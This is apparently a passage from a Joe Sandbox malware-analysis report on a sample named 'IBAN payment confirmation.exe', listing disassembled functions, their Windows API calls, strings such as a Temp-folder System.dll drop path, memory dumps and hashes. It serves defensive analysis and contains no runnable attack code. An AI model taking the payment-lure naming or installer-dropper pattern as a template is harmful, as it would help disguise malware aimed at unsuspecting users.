Part of subcall function 00405ABB: lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

GetShortPathNameW.KERNEL32(?,00426570,00000400), ref: 00405C62
wsprintfA.USER32 ref: 00405C80
GetFileSize.KERNEL32(00000000,00000000,00426570,C0000000,00000004,00426570,?,?,?,?,?), ref: 00405CBB
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405CCA
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425970,00000000,-0000000A,00409544,00000000,[Rename],00000000,00000000,00000000), ref: 00405D58
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405D6A
GlobalFree.KERNEL32(00000000), ref: 00405D71
CloseHandle.KERNEL32(00000000), ref: 00405D78

Part of subcall function 00405B56: GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\IBAN payment confirmation.exe,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Strings

[Rename], xrefs: 00405CEA, 00405CFC
peB, xrefs: 00405C57
p]B, xrefs: 00405C0D
%ls=%ls, xrefs: 00405C76
NUL, xrefs: 00405C12

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$NUL$[Rename]$p]B$peB
API String ID: 1265525490-3322868524
Opcode ID: 3c7f54d89e258796605fea9f6ef32f5c4e34e08a6eb3a6df642de3325c5bcbec
Instruction ID: dd28b8746f6bac9015e409c36d2f5baf321d2fce784c03eddf9b1c2e257c4ca8
Opcode Fuzzy Hash: 3c7f54d89e258796605fea9f6ef32f5c4e34e08a6eb3a6df642de3325c5bcbec
Instruction Fuzzy Hash: 9741E271604B19BBD2216B715C4DF6B3B6CEF41754F14453BBA01B62D2EA3CA8018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281E0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction ID: 126a239e0572de30fb8c34ac70cebce50066b6690b2383a097db7944ba687981
Opcode Fuzzy Hash: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction Fuzzy Hash: DA419A71804249AFCB058FA5DD459BFBFB9FF48310F00802AF951AA1A0C738EA51DFA5

Function 100022EB Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 10002391
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100023B2
CLSIDFromString.OLE32(?,00000000), ref: 100023BF
GlobalAlloc.KERNEL32(00000040), ref: 100023DD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023F8
GlobalFree.KERNEL32(00000000), ref: 1000241A

Strings

@H3w, xrefs: 100023BF

Memory Dump Source

Source File: 00000000.00000002.1955740112.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1955670729.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955830889.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955921061.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_IBAN payment confirmation.jbxd

Similarity

API ID: Global$Alloc$ByteCharFreeFromMultiStringWidelstrlen
String ID: @H3w
API String ID: 3579998418-4275297014
Opcode ID: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction ID: 896c08f96dc03187adf01b888d28386c50d9513e33e57f95a3092ffc5e904c0a
Opcode Fuzzy Hash: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction Fuzzy Hash: A3419FB4504706EFF324DF249C94A6A77E8FB443D0F11892DF98AC6199CB34AA94CB61

Function 0040617E Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\IBAN payment confirmation.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 004061E1
CharNextW.USER32(?,?,?,00000000), ref: 004061F0
CharNextW.USER32(?,"C:\Users\user\Desktop\IBAN payment confirmation.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 004061F5
CharPrevW.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 00406208

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 0040617F, 00406184
*?|<>/":, xrefs: 004061D0
"C:\Users\user\Desktop\IBAN payment confirmation.exe", xrefs: 004061C2

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\IBAN payment confirmation.exe"$*?|<>/":$C:\Users\user~1\AppData\Local\Temp\
API String ID: 589700163-3648141534
Opcode ID: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction ID: e0619f79a043cffb4c3b00824a243f33de9385cd0f0c41224b0956f888f04927
Opcode Fuzzy Hash: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction Fuzzy Hash: 3511C47680021295EB307B548C40BB762F8EF957A0F56403FE996B72C2E77C5C9282BD

Function 004024EE Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp,000000FF,C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp\System.dll,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp\System.dll,?,?,C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp,000000FF,C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp\System.dll,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 00402568

Strings

C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp, xrefs: 00402528
C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp\System.dll, xrefs: 004024FA, 0040251B, 00402525, 00402535, 0040255C
8, xrefs: 0040250C

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8$C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp$C:\Users\user~1\AppData\Local\Temp\nsl71F.tmp\System.dll
API String ID: 1453599865-1295156676
Opcode ID: c163f65ad7e3cc19a1ecb41abf68fb20e754719ac06291c3626fea40b4e8fc87
Instruction ID: b6741c74acf97665735c623be1ff62c12e58b25bca11cb73faf7774dd427f28f
Opcode Fuzzy Hash: c163f65ad7e3cc19a1ecb41abf68fb20e754719ac06291c3626fea40b4e8fc87
Instruction Fuzzy Hash: A5019671A44204FBD700AFA0DE49EAF7278AB50319F20053BF102B61D2D7BC5D41DA2D

Function 00404196 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041B3
GetSysColor.USER32(00000000), ref: 004041CF
SetTextColor.GDI32(?,00000000), ref: 004041DB
SetBkMode.GDI32(?,?), ref: 004041E7
GetSysColor.USER32(?), ref: 004041FA
SetBkColor.GDI32(?,?), ref: 0040420A
DeleteObject.GDI32(?), ref: 00404224
CreateBrushIndirect.GDI32(?), ref: 0040422E

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 80eb99ce468fafd782bf4c41e5e54efb1aa93a8fb2f83beca87368335cd0d861
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: B221C6B1904744ABCB219F68DD08B4B7BF8AF40710F04896DF951F26E1C738E944CB65

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction ID: c52f99eb37a0f9a93b384f1dc8ea19ce670fa72408cf6cd502fc0ac50d833161
Opcode Fuzzy Hash: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction Fuzzy Hash: AC31A072C00118BBDF11AFA5CE49DAF7E79EF05364F20423AF510762E1C6796E418BA9

Function 00405194 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 0c094884f043220e68d7ccf46313e42316ed39ffe4743c8b7e21410a54c3b4f2
Instruction ID: f08454111491fc0d39351af24b8902c1f97f976603b555b028d64c931b302e29
Opcode Fuzzy Hash: 0c094884f043220e68d7ccf46313e42316ed39ffe4743c8b7e21410a54c3b4f2
Instruction Fuzzy Hash: 42219D71900518BACB119FA5DD84ADFBFB8EF44354F54807AF904B62A0C7798A41DFA8

Function 00402D1A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402D35
GetTickCount.KERNEL32 ref: 00402D53
wsprintfW.USER32 ref: 00402D81

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402DA5
ShowWindow.USER32(00000000,00000005), ref: 00402DB3

Part of subcall function 00402CFE: MulDiv.KERNEL32(00026667,00000064,0002B198), ref: 00402D13

Strings

... %d%%, xrefs: 00402D7B

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction ID: 10fb19a6c4b2eae8d62923eb178f02f9fc5b3c6af7becd3ce095817841e91703
Opcode Fuzzy Hash: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction Fuzzy Hash: 2901A130949220EBD7626B60AF1DAEA3B68EF01704F1445BBF901B11E0C6FC9D01CA9E

Function 00404A5E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A79
GetMessagePos.USER32 ref: 00404A81
ScreenToClient.USER32(?,?), ref: 00404A9B
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404AAD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AD3

Strings

f, xrefs: 00404AAF

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: cab112d5f89b67c13374b27971796476edbf79a01bfb7ffc6895eaaae0ed81f2
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: 1C014C71E40219BADB00DB94DD85BFEBBB8AB55715F10012ABB11B61C0C7B4A9018BA5

Function 00402C7F Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
wsprintfW.USER32 ref: 00402CD1
SetWindowTextW.USER32(?,?), ref: 00402CE1
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CF3

Strings

unpacking data: %d%%, xrefs: 00402CBF, 00402CCF
verifying installer: %d%%, xrefs: 00402CC6

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction ID: 78b67de6d16717a489960d5e53e23e1f77e1f7f38f635152e8b2699b13fa448d
Opcode Fuzzy Hash: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction Fuzzy Hash: EAF06270504108ABEF205F50CD4ABAE3768BB00309F00803AFA16B91D0CBF95959DF59

Function 1000248D Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 100024E1
StringFromGUID2.OLE32(?,00000000,?,?,?,00000000,00000001,1000186C,00000000), ref: 100024F5

Part of subcall function 100012F3: lstrcpyW.KERNEL32(00000019,00000000,771AFFC0,100011AA,?,00000000), ref: 1000131E

GlobalFree.KERNEL32(?), ref: 10002559
GlobalFree.KERNEL32(00000000), ref: 10002582

Memory Dump Source

Source File: 00000000.00000002.1955740112.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1955670729.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955830889.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955921061.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_IBAN payment confirmation.jbxd

Similarity

API ID: FreeGlobal$FromStringlstrcpywsprintf
String ID:
